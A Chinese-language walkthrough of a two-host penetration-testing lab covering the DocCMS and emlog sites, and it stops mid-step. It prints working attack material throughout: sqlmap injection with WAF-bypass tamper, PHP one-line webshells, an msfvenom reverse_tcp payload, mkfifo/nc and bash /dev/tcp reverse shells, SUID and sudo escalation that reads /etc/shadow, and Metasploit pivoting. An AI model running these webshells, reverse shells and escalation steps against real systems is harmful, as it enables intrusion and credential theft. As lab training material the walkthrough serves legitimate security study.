🌎一、渗透总流程

        渗透测试是通过模拟恶意攻击者的技术和方法,对目标系统(如网络、应用程序、服务器等)的安全性进行评估的过程。

🌞1.前期交互阶段

  • 确定目标范围:与客户进行充分沟通,明确渗透测试的具体目标,包括目标网络的边界、特定的应用系统、服务器等。例如,是对整个企业网络进行测试,还是只针对某个关键业务系统。
  • 收集背景信息:了解目标系统的业务类型、使用的技术架构(如操作系统、数据库、中间件等)、网络拓扑结构等信息。这有助于制定更有针对性的测试方案。
  • 确定测试规则:商定测试的时间窗口、允许的测试方法和技术范围、数据保护和隐私政策等。例如,明确不允许对生产环境造成任何中断或数据丢失,禁止使用某些可能影响业务连续性的攻击手段。

🌞2.情报收集阶段

  • 主动信息收集:通过直接与目标系统交互来获取信息,如使用 ping 命令探测目标主机是否存活,使用 nmap 工具扫描目标网络的开放端口和运行的服务等。
  • 被动信息收集:利用公开的信息源(如搜索引擎、社交媒体、行业报告、企业官网等)收集目标系统的相关信息,包括域名信息、IP 地址范围、员工信息、技术栈等。例如,通过 whois 查询获取域名注册信息,了解网站的托管服务商等。

🌞3.漏洞扫描阶段

  • 网络扫描:使用专门的漏洞扫描工具(如 Nessus、OpenVAS 等)对目标网络进行全面扫描,检测网络设备(如路由器、交换机)、服务器等存在的已知漏洞,如操作系统漏洞、服务漏洞等。
  • 应用扫描:针对目标应用系统,使用 Web 应用扫描工具(如 OWASP ZAP、AppScan 等)检测应用层的漏洞,如 SQL 注入、跨站脚本攻击(XSS)、文件包含漏洞等。

🌞4.漏洞利用阶段

  • 验证漏洞:对扫描发现的漏洞进行人工验证,确保漏洞的真实性和可利用性。有些漏洞可能是误报,或者由于系统配置等原因无法实际利用。
  • 尝试攻击:使用合适的攻击工具和技术对已验证的漏洞进行利用,尝试获取系统权限、敏感数据或控制目标系统。例如,对于 SQL 注入漏洞,使用 SQL 注入工具获取数据库中的数据;对于远程代码执行漏洞,尝试上传恶意代码并执行。

🌞5.权限提升阶段

  • 提权分析:当成功获取到目标系统的低权限用户账户后,分析系统的配置、漏洞和弱点,寻找提升权限的方法。例如,检查系统中是否存在可利用的内核漏洞、错误配置的服务权限等。
  • 实施提权:利用发现的提权途径,尝试将低权限提升为管理员权限或更高权限,以便进一步深入系统内部进行测试。

🌞6.内网渗透阶段

  • 内网信息收集:在获得目标系统的权限后,对内部网络进行信息收集,包括发现内部其他存活主机、网络拓扑结构、共享资源、用户账户信息等。
  • 横向移动:利用已获取的权限和收集到的信息,尝试在内网中进行横向移动,从一台主机渗透到其他主机,扩大攻击范围。例如,通过利用弱密码、漏洞或信任关系等方式,获取其他主机的控制权。

🌞7.报告编写阶段

  • 整理测试结果:对整个渗透测试过程中发现的漏洞、攻击路径、利用方法等进行详细整理和记录。
  • 评估风险等级:根据漏洞的严重程度和潜在影响,对每个漏洞进行风险等级评估,如高、中、低风险。
  • 提出修复建议:针对发现的漏洞,提供具体的修复建议和解决方案,帮助客户及时修复漏洞,提高系统的安全性。
  • 撰写报告文档:将上述内容整理成一份完整的渗透测试报告,向客户进行汇报和交付。

文章内的靶机及脚本关注后私信获取


🌎二、靶场拓扑图

🌎三、靶场环境搭

🌞1.网络配置

打开VMware,打开虚拟网络编辑器。

根据前面的拓扑图,将VMnet8网卡的子网ip设置为192.168.0.0。

将靶场的所需的虚拟机使用VMware打开,开机后分别对虚拟机进行网络配置。

首先将kali攻击机和web服务器的网卡1均设置为NAT模式。

web服务器网络配置如下(用户名:host123,密码:yanisy123)。

内网服务器网络配置如下(用户名:moon,密码:moonQWE23)。

kali攻击机的网络配置如下。

🌞2.服务配置

访问下面地址进入宝塔管理页内(用户名:gpeqnjf4,密码:d12924fa)。

192.168.0.122:8888/944906b5/

检查PHP5.3服务以及Mysql服务是否启动,若未启动则将其启动。

🌎四、打靶实例详解

🌞1.准备阶段

在kali内新建ddd4目录并进入,后续渗透过程中产生的文件均存储在这个目录内,方便对文件的整理及使用。

mkdir ddd4
cd ddd4

🌞2.信息收集——确认靶机ip

首先确定攻击机kali的ip来确定接下来扫描的网段。

ip a

方法一——Netdiscover
netdiscover -i eth0 -r 192.168.0.0/24
  • -i eth0: 指定网络接口,eth0 是你要使用的网络接口(通常是第一个以太网接口),它将发送ARP请求来探测目标IP范围内的活动主机。

  • -r 192.168.0.0/24: 指定要扫描的网络范围,在此例中是使用 CIDR 表示法的 192.168.0.0/24,这表示从 192.168.0.1 到 192.168.0.254 的所有地址。

方法二——arp-scan
arp-scan -l
  • arp-scan: 这是一个命令行工具,用于发送 ARP (Address Resolution Protocol) 请求,以便识别网络上的设备。ARP 是一个网络协议,用于将网络地址(如 IP 地址)转变为物理地址(如 MAC 地址)。

  • -l: 此选项指定arp-scan探测本地网络。它会自动确定本地网络的地址范围,并扫描所有活跃的设备。

方法三——nmap
nmap -sn 192.168.0.0/24
  • -sn:在以前的nmap版本中是-sP,现在被-sn取代了,其作用是告诉nmap在主机发现后,不进行端口扫描,只打印进行主机嗅探发现的可用主机,其扫描方式类似于ping扫描。

在上面扫描出的ip地址中,.1、.2、.254、.109都是kali自身的一些ip地址。

所以通过上面的三种方法均可以确定靶机的ip地址为:192.168.0.122。

🌞3.信息收集——端口扫描

首先进行端口扫描,确认哪些端口是开放的,缩小后续扫描范围。

建立一个文件夹,用于存储扫描后得到的文件。

mkdir nmapscan
​​​​​​​nmap -sT --min-rate 10000 -p- 192.168.0.122 -oA nmapscan/ports

参数说明:

  • -sT:使用TCP方式扫描,即对主机的开放端口进行连接尝试。
  • --min-rate 10000:设置最小速率为10000个尝试/秒,这个参数控制了扫描的速度。
  • -p-:扫描主机的所有端口,起始端口是1,结束端口是65535。
  • -oA nmapscan/ports:将扫描结果以三种格式保存在 nmapscan 目录下,分别是Nmap格式、正常格式和脚本格式。

可以看到存在21、80、888、3306、8888这五个端口开放。

🌞4.信息收集——详细信息扫描

这个扫描是最重的也是最重要的扫描,根据扫描的详细信息确定攻击面以及渗透的优先级。

nmap -sT -sV -sC -O -p21,80,888,3306,8888 192.168.0.122 -oA nmapscan/detail

参数说明:

  • -sT: 使用TCP连接扫描。这个参数告诉Nmap使用TCP连接来扫描指定的端口,它是一种全连接扫描。
  • -sV: 执行版本探测。这个参数告诉Nmap探测已开放端口上的服务和应用程序版本。
  • -sC: 执行默认脚本扫描。这个参数告诉Nmap执行一系列预定义的脚本,以便对已开放端口上的服务进行更深入的探测和信息收集。
  • -O: 执行操作系统探测。这个参数告诉Nmap尝试探测目标主机的操作系统类型。
  • -p21,80,888,3306,8888: 指定要扫描的端口列表。
  • 192.168.0.122: 指定要扫描的目标主机的IP地址。
  • -oA nmapscan/detail: 将扫描结果保存为三种不同格式的文件(正常输出、脚本输出和XML输出)。这个参数告诉Nmap将扫描结果保存到名为nmapscan的目录中,并使用detail作为文件名的前缀。

🌞5.信息收集——UDP扫描

使用UDP扫描模式快速扫描给定IP地址上的开放端口,并将扫描结果保存到三个不同的文件中。

nmap -sU -p21,80,888,3306,8888 192.168.0.122 -oA nmapscan/udp

参数说明:

  • -sU:指定扫描类型为UDP。通常nmap默认使用TCP进行扫描,但此处使用UDP进行扫描。
  • -p21,80,888,3306,8888:指定要扫描的端口号。
  • 192.168.0.122:指定要扫描的目标主机的IP地址。
  • -oA nmapscan/udp:指定输出文件的名称和目录。该命令将生成三个输出文件,命名为nmapscan-udp.xml、nmapscan-udp.nmap和nmapscan-udp.gnmap,保存在nmapscan目录下。

可以看到对应的udp端口都是关闭的,因此可忽略。​​​​​​​

🌞6.信息收集——漏洞扫描

运行nmap的漏洞扫描脚本进行漏洞扫描。

nmap --script=vuln -p21,80,888,3306,8888 192.168.0.122 -oA nmapscan/vuln

参数说明:

  • nmap:是一个网络扫描和安全审核工具。
  • --script=vuln:指定要执行的脚本为"vuln",它会探测目标上的一些已知漏洞。
  • -p21,80,888,3306,8888:指定要扫描的端口号。
  • 192.168.0.122:指定要扫描的目标主机的IP地址。
  • -oA nmapscan/vuln:指定将扫描结果保存到文件中,nmapscan为文件夹名,vuln为文件名前缀。

​​​​​​​

对上面扫描结果的解读如下:

  • Nmap 版本:7.94SVN

  • 21/tcp:FTP 服务开放。

  • 80/tcp:HTTP 服务开放。

    • 未发现 CSRF 漏洞(Couldn't find any CSRF vulnerabilities.)。

    • TRACE 方法启用(TRACE is enabled)。

    • 未发现存储型 XSS 漏洞(Couldn't find any stored XSS vulnerabilities.)。

    • 未发现基于 DOM 的 XSS 漏洞(Couldn't find any DOM based XSS vulnerabilities.)。

  • 888/tcp:accessbuilder 服务开放。

  • 3306/tcp:MySQL 服务开放。

    • 尝试检测 MySQL 漏洞(mysql -vuln -cve2012-2122),但脚本执行失败,提示使用-d调试。

  • 8888/tcp:sun -answerbook 服务开放。

注:当寻找不到攻击面的时候,不要忘记考虑ipv6的地址。

🌞7.漏洞探测及利用

首先修改hosts文件进行ip的绑定,输入ip及地址后输入“:wq!”保存退出。

vim /etc/hosts
192.168.0.122 www.ddd4.com

尝试进行访问,如下图所示访问成功。

www.ddd4.com

利用whatwab工具获取网站信息【whatweb是一款用于对网站进行指纹识别和信息收集的开源工具】。

whatweb http://www.ddd4.com

根据上面扫描结果可以得知网站的系统是——稻壳企业建站系统[DocCms X1.0]2016正式版。

知道了具体版本就将其下载下来搭建到本地环境内,从而更好的了解网站的架构及敏感文件等信息。

搜索找到其官网。

http://www.doccms.com/

找到下载地址。

https://gitee.com/husky/DocCMS/releases/2016

进入下载地址后下载zip压缩包。

下载后在本地进行解压,然后打开phpstudy,启用WNMP。

点击网站—>创建新网站,然后进行下图所示的配置。

服务自动重启后,点击管理—>打开根目录。

将之前下载并解压完成的cms文件复制到根目录内。

复制完成后浏览器内访问刚刚设置的域名进行cms的部署安装。

http://www.doccms.com/

点击下一步。

点击下一步。

点击下一步。

按照下图所示填写信息后点击下一步。

点击完成后就会跳转到后台。

后台页面如图所示(用户名:admin,密码:admin)。

再次访问前台就已经可以访问了,可以看到存在一些错误,是因为不兼容,不用理会。

在seay内新建项目,将网站的根目录选中。

点击自动审计—>开始。

经过自动和手动审计后,发现其存在sql注入漏洞。

利用sqlmap工具进行测试。

sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py -v 1 --batch -p keyword

命令解释:

  • sqlmap: SQL注入渗透测试工具,用于检测和利用Web应用程序中的SQL注入漏洞。

  • -u http://www.ddd4.com/search?keyword=11: 指定目标URL,即带有查询参数的URL,其中keyword是一个参数,值为11。

  • --tamper chardoubleencode.py: 使用chardoubleencode.py脚本作为编码混淆技术的插件。--tamper选项用于指定SQL注入时使用的编码混淆脚本。用来绕waf。

  • -v 1: 设置详细程度级别为1,显示基本的输出信息。

  • --batch: 在批处理模式下运行,即自动选择默认选项,不需要用户交互。

  • -p keyword: 指定要测试的参数名称,即在URL中的哪个参数存在可能的注入点。在这个例子中,我们指定了keyword作为测试的参数。

根据上述扫描结果得知keyword这个GET参数存在多种类型的SQL注入漏洞。包括:布尔型盲注、报错型注入和时间型盲注。

利用sqlmap获取所有数据库。

sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py -v 1 --batch -p keyword --dbs

很明显第三条即为当前网站的数据库,因此执行下面命令获取此库内所有的表。

sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py -v 1 --batch -p keyword -D www_ddd4_com --tables

看到存在user表,可能存在网站登录信息,因此获取其信息。

sqlmap -u http://www.ddd4.com/search?keyword=11 --tamper chardoubleencode.py -v 1 --batch -p keyword -D www_ddd4_com -T doc_user --dump

至此获得到了用户名和加密后的密码。

username:admin
pwd:9430q1yc97c94304a6sy04ef5f8b2l42f136e0s8d423d5d0uj259f85af8n0547x28f21yc97c

利用解密工具普通解密无法成功,再次审计源码,研究其加密方式是否可逆。

经过对源码的再次审计,发现其加密是不可逆的,因此想要获取登录后台的用户名和密码,只能生成一个密文去替换user表内的密文,但是此时数据库权限很低,无法执行此操作。

因此开始换方向考虑其它漏洞。

利用文件读取漏洞,获取到了mysql的配置信息如下。

mysql的配置信息
www_ddd4_com
x4ix6ZrM7b8nFYHn

尝试进行登录。发现登录成功。

登录成功,就成功的进入到了网站的数据库中,尝试前面提到的方案——自己生成一个密文去替换user表内的密文。

根据前面审计得到的加密方式,自己生成的密文如下,其明文为admin。

33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0

执行下面命令将原来的密文替换掉。

update doc_user set pwd='33e2q1yc3d033e22aesyc2140aec3l850c3a99s21232f297uj57a5a7438n4a0ex4a801yc3d0' where id=1;

访问后台尝试登录。可以看到成功登录到了后台。

http://www.ddd4.com/admini/login.php

进入到后台内后发现存在一个可编辑模板。

写入一句话木马后,ctrl+s进行保存。

<?php @eval $_POST['cmd'];?>

保存后使用webshell连接工具进行连接,蚁剑是不行的,这里使用中国菜刀进行连接,因为没有将eval函数写入到disable_function当中。

输入下面配置进行连接。

成功连接后如下图所示。

打开虚拟终端尝试执行命令,发现执行失败。

这种情况但是其本身权限是很大的,只是因为大量的函数被禁。访问phpinfo.php可以看到。

利用脚本来对其进行绕过,将脚本通过菜刀上传到网站根目录下。

用浏览器来调用脚本。这里执行可能会很慢,因为它需要调用库文件。

查看用户和组的身份信息。

http://www.ddd4.com/bypass_disablefunc.php?cmd=id&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

查看网络信息。可以看到其存在两块网卡。

http://www.ddd4.com/bypass_disablefunc.php?cmd=ifconfig&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

 利用msfvenom工具生成攻击载荷。

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.0.109 LPORT=12345 -f elf >ddd4

命令解释:

        该命令使用msfvenom工具生成一个Linux平台下的反向TCP Meterpreter木马。

  • -p linux/x86/meterpreter/reverse_tcp:指定了使用Linux平台下x86架构的反向TCP Meterpreter负载。这是一种功能强大的后渗透工具,可用于远程访问、控制和管理目标系统。

  • LHOST=192.168.0.109:设置监听主机的IP地址为192.168.0.109。此IP地址将作为反向连接的目标,用于接收来自目标系统的连接。

  • LPORT=12345:设置监听端口号为12345。当目标系统连接后,将在该端口上进行通信。

  • -f elf:指定输出文件的格式为ELF(Executable and Linkable Format),这是Linux下可执行文件的通用格式。

  • >ddd4:将生成的木马文件重定向输出到名为ddd4的文件中。


msfvenom工具简介:

        msfvenom是一款功能强大的渗透测试工具,它集成在Metasploit框架中,主要用于生成各种类型的恶意载荷(payload),比如可执行文件、脚本、Shellcode等,同时能将这些载荷与编码器、加密器等结合使用,来绕过目标系统上的安全防护机制,像杀毒软件检测等。它可以根据不同的目标平台(如Windows、Linux、macOS等)以及不同的利用场景(如远程代码执行、提权等)定制化地构造合适的攻击载荷,方便渗透测试人员在合法合规的环境下模拟真实的攻击行为,进而帮助评估目标系统的安全性,找出安全漏洞并进行相应的加固修复。 


将生成的木马文件利用菜刀上传到靶机内的网站根目录内。

此时文件的权限为666,没有执行权限,利用前面上传的脚本对其赋权。

http://www.ddd4.com/bypass_disablefunc.php?cmd=chmod 777 ddd4&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

执行后可以看到其权限变成了777。

利用msfconsole工具进行监听。

msfconsole


msfconsole工具简介:

        msfconsole是Metasploit框架的一个重要的命令行交互界面工具。 它提供了一个统一的控制台环境,让渗透测试人员能便捷地使用Metasploit框架下丰富的各类模块,像漏洞利用模块、攻击载荷模块、编码器模块等。通过它可以搜索、加载、配置并执行相应的模块来开展渗透测试工作,例如查找系统中存在的可利用的安全漏洞,选择合适的攻击载荷与之配合,然后发起模拟攻击,验证漏洞是否可被成功利用,最终达成获取目标系统权限等目的。同时,在这个控制台里还能对已有的模块进行参数设置、查看模块相关的详细信息等操作,并且支持管理会话、查看和处理已获得的目标系统访问权限等情况,是渗透测试中极为关键的工具,帮助专业人员高效地完成整个安全评估流程。


启动后利用handler模块,查看配置信息。

use exploit/multi/handler
show options

配置payload、配置本地ip、配置监听端口。

set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.0.109
set lport 12345

再次查看配置信息。

show options

确认无误后开始监听。

exploit

再次利用前面上传的脚本执行攻击载荷ddd4。

www.ddd4.com/bypass_disablefunc.php?cmd=./ddd4&outpath=/tmp/xx&sopath=/www/wwwroot/www.ddd4.com/bypass_disablefunc_x64.so

执行后可以看到已经成功监听到了,尝试执行命令也没有问题。

上面是用matesploit监听反弹过来的shell,虽然能够执行一些命令,但是其交互性并不高。

所以接下来来建立一个完整的shell。

首先监听端口8888。

nc -lvnp 8888

命令解释:

  • nc 是netcat命令的执行名称,用于处理网络连接。
  • -l 参数表示监听模式,即指示netcat监听一个端口等待连接。
  • -v 参数表示“详细”模式,即显示更详细的信息。
  • -n 参数表示不进行DNS解析,即直接使用IP地址进行连接。
  • -p 8888 参数指定监听的端口号为8888。

在meterpreter内执行下面命令。

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.0.109 8888 >/tmp/f

命令解释:

        通过这个命令,攻击者在自己的系统上使用Netcat监听8888端口,并等待目标系统上执行该命令后产生的反弹shell连接。

  • ​​​​​​​​​​​​​​rm /tmp/f; :删除名为/tmp/f的文件,以确保文件不存在。

  • mkfifo /tmp/f; :创建一个命名管道(FIFO),并将其命名为/tmp/f,FIFO是一种特殊类型的文件,可以用来进行进程间通信。

  • cat /tmp/f|/bin/sh -i 2>&1| :启动一个/bin/sh(Bash)的交互式shell,并将标准输入(stdin)与/tmp/f命名管道相连,这意味着从/tmp/f读取的数据将作为shell的输入。2>&1将标准错误(stderr)重定向到与标准输出(stdout)相同的位置,确保错误信息也可以通过/tmp/f发送给攻击者。

  • nc 192.168.0.109 8888 >/tmp/f :启动一个Netcat(nc)进程,将其标准输出(stdout)重定向到/tmp/f命名管道。这会将反弹shell的输出发送到指定的IP地址(192.168.0.109)和端口号(8888)上。

执行后即可看到成功获取到了shell。

通过键盘上的ctrl+z即可将其放在后台,输入fg并回车后即可将其从后台调出。

列出系统内所有已安装软件包来查看当前靶机内有无python。

dpkg -l


另一种验证有无python的方法是执行which python命令,当在终端执行 which python 命令时,系统会查找并显示Python解释器的路径。如果成功显示路径,则说明系统已安装Python,如果未显示任何路径或者显示 "no python in" 的错误信息,那么系统上可能没有安装 Python。

which python

上面两种方法都可以验证得知存在python。

执行下面命令获取一个更完整的shell环境。执行id命令后可以看到当前仅为普通权限。

python -c "import pty;pty.spawn('/bin/bash')"

命令解释:

        这个命令是在Python中运行的,使用了pty模块。pty模块提供了一个伪终端的功能,可以实现交互式的终端操作。命令中的"/bin/bash"表示要执行的程序是Bash终端。

        运行这个命令后,会创建一个新的伪终端,并将其连接到一个新的Bash终端进程。常用于获取一个更完整的终端环境,就像在真实的终端中一样。

🌞8.权限提升

🌕三大脚本

🌙脚本一——LinEnum

脚本简介:

        收集信息 (可能发现命令执行历史记录里的密码)。

        LinEnum是一款专为Linux系统设计的权限提升枚举脚本,主要用于渗透测试和安全审计。它能够快速收集系统信息,帮助识别潜在的安全漏洞,便于用户进行权限提升分析。LinEnum支持自动化信息收集,包括操作系统版本、内核信息、当前登录用户及其权限配置、敏感文件和目录(如密码文件、密钥文件、SUID文件等),还会扫描网络接口、监听端口、计划任务和服务。此外,它还能够检测常见的系统配置漏洞,例如不安全的文件权限、不当的Sudo配置或有问题的SUID二进制文件。帮助用户快速完成权限提升相关的初步调查。


将LinEnum通过菜刀上传到tmp目录下。

运行后即可看到其会进行信息收集。可以在命令后面加上“> scan.txt”,将扫描结果存储在txt内,然后将其下载到本地,从而更好的查看。

sh LinEnum.sh

🌙脚本二——linux-exploit-suggester

脚本简介:

        检测是否存在 cve 漏洞。

        Linux-Exploit-Suggester 是一款针对 Linux 系统的本地权限提升辅助工具,能够通过分析系统的内核版本和配置,推荐可能适用的已知漏洞利用程序。这款工具对渗透测试和安全审计非常实用,通过匹配目标系统与其内置的漏洞数据库,快速列出潜在的提权方法及相关漏洞利用工具。使用时,只需下载脚本并在目标系统上运行,它会输出一份详细的报告,包括漏洞名称、CVE编号以及相关描述,帮助用户快速定位适合的漏洞利用方式,大大提升测试效率和效果。


将linux-exploit-suggester通过菜刀上传到tmp目录下。

运行后即可看到其会进行信息收集,并收集到了一些可能存在的提权漏洞。可以在命令后面加上“> scan.txt”,将扫描结果存储在txt内,然后将其下载到本地,从而更好的查看。

sh linux-exploit-suggester.sh

🌙脚本三——linuxprivchecker-master

脚本简介:

        检测提权。

        LinuxPrivChecker 是一款轻量级的 Linux 权限提升检查工具,用于快速枚举目标系统的潜在权限提升途径。它通过收集目标系统的关键信息,如当前用户和组、系统配置文件、计划任务、环境变量、SUID 程序、网络配置以及文件权限问题,帮助用户识别可能存在的安全漏洞。工具还会检查常见的权限提升机会,例如 Sudo 配置错误、不安全的环境变量或关键文件的权限问题,而这些信息对于制定提权计划至关重要。LinuxPrivChecker 注重手动分析的辅助功能,不会直接提供漏洞利用建议,因此非常适合经验丰富的渗透测试人员或安全研究人员使用。运行脚本后,工具会生成一份详细的系统信息报告,为后续分析和操作提供可靠的数据支持。


将linuxprivchecker-master通过菜刀上传到tmp目录下。

运行后即可看到其会进行信息收集。可以在命令后面加上“> scan.txt”,将扫描结果存储在txt内,然后将其下载到本地,从而更好的查看。

python linuxprivchecker.py

🌕三大提权方式

🌙方式一——suid提权

知识点——suid提权

        SUID(Set User ID)是一种对二进制程序进行设置的特殊权限,可以在执行文件时临时让二进制程序的执行者临时获得该文件所有者的权限。当设置了 SUID 位的文件被执行时,执行者将具有该文件所有者的权限,而不是执行者自身的权限。

        若是对一些特殊命令设置了SUID,那么就会有被提权的风险,常用的SUID提权命令有nmap、vim、find、bash、more、less、nano、awk和cp等。

        设置了SUID位的可执行文件通常是为了在执行过程中执行一些需要特殊权限的操作。例如,passwd 命令可以让普通用户更改自己的密码,但是这个命令需要访问 /etc/shadow 文件,而这个文件只有 root 用户有读写权限。为了让普通用户能够修改自己的密码,passwd 命令被设置了 SUID 位,当普通用户执行该命令时,它会以 root 用户的权限运行,从而能够读写 /etc/shadow 文件。

        SUID提权是指通过执行设置了 SUID 位的文件来获取特权。这种特权提升通常是为了执行一些只有超级用户或特定用户才能执行的操作。


根据前面工具的扫描结果或者执行下面命令在Linux系统中搜索所有设置了Setuid权限的文件。

find / -type f -perm -u=s 2>/dev/null

命令解释:

  • find:Linux系统上的一个强大的搜索命令,用于查找文件和目录。

  • /:指定搜索的起始路径为根目录(/),这意味着会遍历整个文件系统。

  • -type f:限定搜索结果为普通文件(非目录、链接等)。

  • -perm -u=s:限定搜索结果为设置了Setuid权限的文件。Setuid权限是一种特殊的权限,允许以文件所有者的权限来执行该文件,而不是当前用户的权限。这里的-u=s表示只匹配文件所有者设置了Setuid权限的文件。

  • 2>/dev/null:将标准错误(stderr)重定向到/dev/null,即丢弃错误输出。这样做是为了避免由于没有足够权限而产生的大量错误消息干扰搜索结果。

执行下面命令可以看到返回的是root用户。

touch test
find test -exec whoami \;

可以看到使用此命令可以查看只有root权限才能查看的shadow文件。

find test -exec cat /etc/shadow \;

命令解释:

        由于find带有SUID权限,-exec参数内的命令也会以root权限执行。cat /etc/shadow通常需要 root权限,结合SUID的find,可以绕过权限限制,显示/etc/shadow的内容。

正常查看是查看不到的,提示权限不够。

cat /etc/shadow

🌙方式二——sudo提权

知识点——sudo提权

        sudo(super user do)是linux系统中用于管理用户权限的工具,允许普通用户在无需切换到超级用户的情况下以root身份执行命令,通常,在使用sudo命令时,用户需要输入自己的密码验证自己是否有权限使用,如果没有权限,会告知用户:“该用户不在sudoers文件中,这个事件将会被报告。”如果sudo配置不当,可能导致安全隐患。

        通常使用sudo -l命令查看当前sudo权限(sudo -l是一个用于列出当前用户在系统上可以执行的命令和命令别名的命令)。


在前面利用LinEnum信息收集的时候,看到了一个密码——yanisy123

利用此密码来执行sudo命令,发现提示密码错误。

sudo -l

结合前面shadow文件内以及扫描结果内均出现host123,证明存在host123用户,猜测此密码是host123用户的密码。

尝试用上面的密码切换到host123用户。发现切换成功,说明host123用户的密码就是yanisy123。

su host123

得知host123用户的密码后,查看当前用户有哪些系统级权限。可以看到三个all,说明当前用户有全部的系统级权限,基本等同于root用户。

sudo -l

尝试用sudo命令切换到root用户。发现切换成功,成功获取到了root权限。

sudo su root

🌙方式三——BT提权

通过菜刀浏览靶机文件,发现了一个bt.txt文件,打开后发现其是宝塔面板的登录地址及密码(最开始的端口扫描时收集到8888端口开放,访问后发现装了宝塔)。

Bt-Panel: http://192.168.0.122:8888/944906b5
username: gpeqnjf4
password: d12924fa

尝试对该地址进行访问,成功进入到了宝塔面板。

尝试利用文件内的用户名和密码进行登录。发现登录成功。

点击“文件”,跳转到etc目录下,尝试进行文件编辑,发现可以成功编辑,说明这里具有root权限。

点击“计划任务”,发现可以创建计划任务,在此进行下面配置。

bash -i &>/dev/tcp/192.168.0.109/8889 <&1

在本地进行监听。

nc -lvnp 8889

回到宝塔面板内点击执行。

可以看到已经成功监听到,并且是root权限。

获取到shell就可以将定时任务删除掉了来清理痕迹。

🌞9.内网渗透

当前的meterpreter是普通权限,尝试拿到root权限的meterpreter。


查看网站的根目录可以看到前面上传的带有执行权限的“ddd4”。

ls -all

将当前的session 1退出(ctrl+c后执行下面命令)。

background

退出后重新开启监听。

exploit

进入到前面获取到的含有root权限的shell内执行ddd4。

./ddd4

执行后可以看到监听端已经成功获取到了session 2会话,并且为root权限。

getuid

查看靶机网络信息,可以看到其存在两块网卡,说明靶机还存在内网。

ctrl+c退出当前,然后查看靶机路由信息。

run get_local_subnets

添加路由,并查看是否添加成功。

run autoroute -s 10.10.10.0/24
run autoroute -p

命令解释:

        在meterpreter内执行的run autoroute -s 10.10.10.0/24命令用于设置路由表,以便将流量从攻击者的机器(即meterpreter控制台)路由到目标网络上的目标主机。该命令的作用是将流量从本地主机路由到10.10.10.0/24网络上的任何主机。

        具体来说,run autoroute -s 10.10.10.0/24命令的执行将在meterpreter会话中添加一个路由规则,以指示将流量发送到目标网络上的主机。方便横向移动和执行后续攻击。具体参数解释如下:

  • 执行run autoroute -s 10.10.10.0/24命令后,将添加一个路由规则,使流量被路由到目标网络的主机。

  • 此命令中的"-s"参数表示添加一个静态路由规则。

  • "10.10.10.0/24"是目标网络的CIDR表示形式,表示将目标网络上的所有主机包括在内。

  • 添加该路由规则后,当从meterpreter会话中发出的流量需要被发送到目标网络上的主机时,会自动将其路由到目标网络。

将当前的session 2退出。

background

查找代理模块,查找后选择使用socks_proxy模块。

search socks
use auxiliary/server/socks_proxy

配置代理端口,并验证配置信息。【在配置代理信息时,需要注意的是,我们使用的是SOCKS5通道协议。在版本 (VERSION) 选项中,可以选择SOCKS5或SOCKS4a。这里与 msf5 有所不同,msf5直接选择SOCKS4a模块。】

set SRVPORT 2333
show options

配置信息无误后执行run命令启动。

run

为了后面更方便的代理其它一些工具,需要用到proxychains4工具。


工具简介:

        proxychains4是一款开源的代理工具,主要用于通过代理服务器(如SOCKS4、SOCKS5或 HTTP代理)将应用程序的网络流量转发,从而隐藏客户端的真实IP地址,绕过网络限制,或实现匿名访问。 它是proxychains工具的升级版本,提供更好的兼容性和功能。

        工作原理:proxychains4拦截应用程序的网络请求,然后将这些请求通过配置的代理服务器转发。它通过LD_PRELOAD技术动态拦截connect()系统调用,重定向网络流量。


使用proxychains4工具前,需要修改其配置文件,修改完成后按esc然后输入":wq!"保存并退出。

vim /etc/proxychains4.conf
socks5 127.0.0.1 2333

修改proxychains4的配置文件后,查看靶机hosts文件内有没有绑定域名。可以看到绑定了内网的一个www.ddd5.com。

cat /etc/hosts

在kali内绑定这条host,绑定完成后按esc然后输入":wq!"保存并退出。

vim /etc/hosts
10.10.10.144    www.ddd5.com

进行完上面的操作后使用浏览器对内网站点尝试进行访问。发现访问成功,说明代理配置没问题。

http://www.ddd5.com/

利用proxychains4工具代理nmap扫描内网端口信息。

proxychains4 nmap -Pn 10.10.10.144

​​​​​​

开放http服务的80端口,对其进行访问,访问后可以看到左上角存在登录入口。

对于内网网站环境,安全防护通常较为薄弱。安全人员往往认为内网段相对安全,因此一些账号密码的设置可能采用弱口令。这里尝试一些简单的弱口令,最终尝试成功,成功登录到了后台。

用户名:admin
密码:123456

接下来获取内网服务器的shell。

利用whatwab工具获取网站信息。

whatweb http://www.ddd5.com

根据上面扫描结果可以得知网站的使用了emlog作为内容管理系统。

通过对网站的不断摸索以及emlog在互联网上的漏洞信息得知其“模板”功能点存在漏洞。上传模板后会自动解压,因此可以利用这个将带有一句话木马的模版上传上去,来获取网站的webshell。

下载模板后在模板内添加木马文件,然后重新进行压缩,将其在网站后台进行上传。

shell.php
<?php system($_REQUEST['cmd']);?>
mmm.php
<?php eval($_POST['cmd']);?>
moon.php
是一个大马,这里就不进行粘贴了

上传完成后尝试在未设置代理的本地物理机对其进行访问。

首先要在本地修改host文件进行host绑定,本地hosts文件位置如下,添加之后进行保存。

C:\Windows\System32\drivers\etc\hosts
192.168.0.144 www.ddd5.com

为方便本地进行查看,可以在本地浏览器内用FoxyProxy插件配置代理,配置内容如下,配置完成后点击save进行保存(这里的ip为kali的ip,端口为kali内配置的代理的端口)。

将其启用后,在本地就可以实现对内网的访问。

访问前面上传上去的webshell并执行命令。可以成功被执行。

http://www.ddd5.com/content/templates/moonsec/shell.php?cmd=whoami

接下来尝试使用蚁剑连接前面上传上去的webshell。

首先同样给蚁剑配置代理,在首页点击AntSword后点击代理设置。

代理内容配置如下(这里的ip为kali的ip,端口为kali内配置的代理的端口)。

回到首页内鼠标右键点击后点击添加数据。

输入下图所示内容后点击测试连接。可以看到测试连接成功。

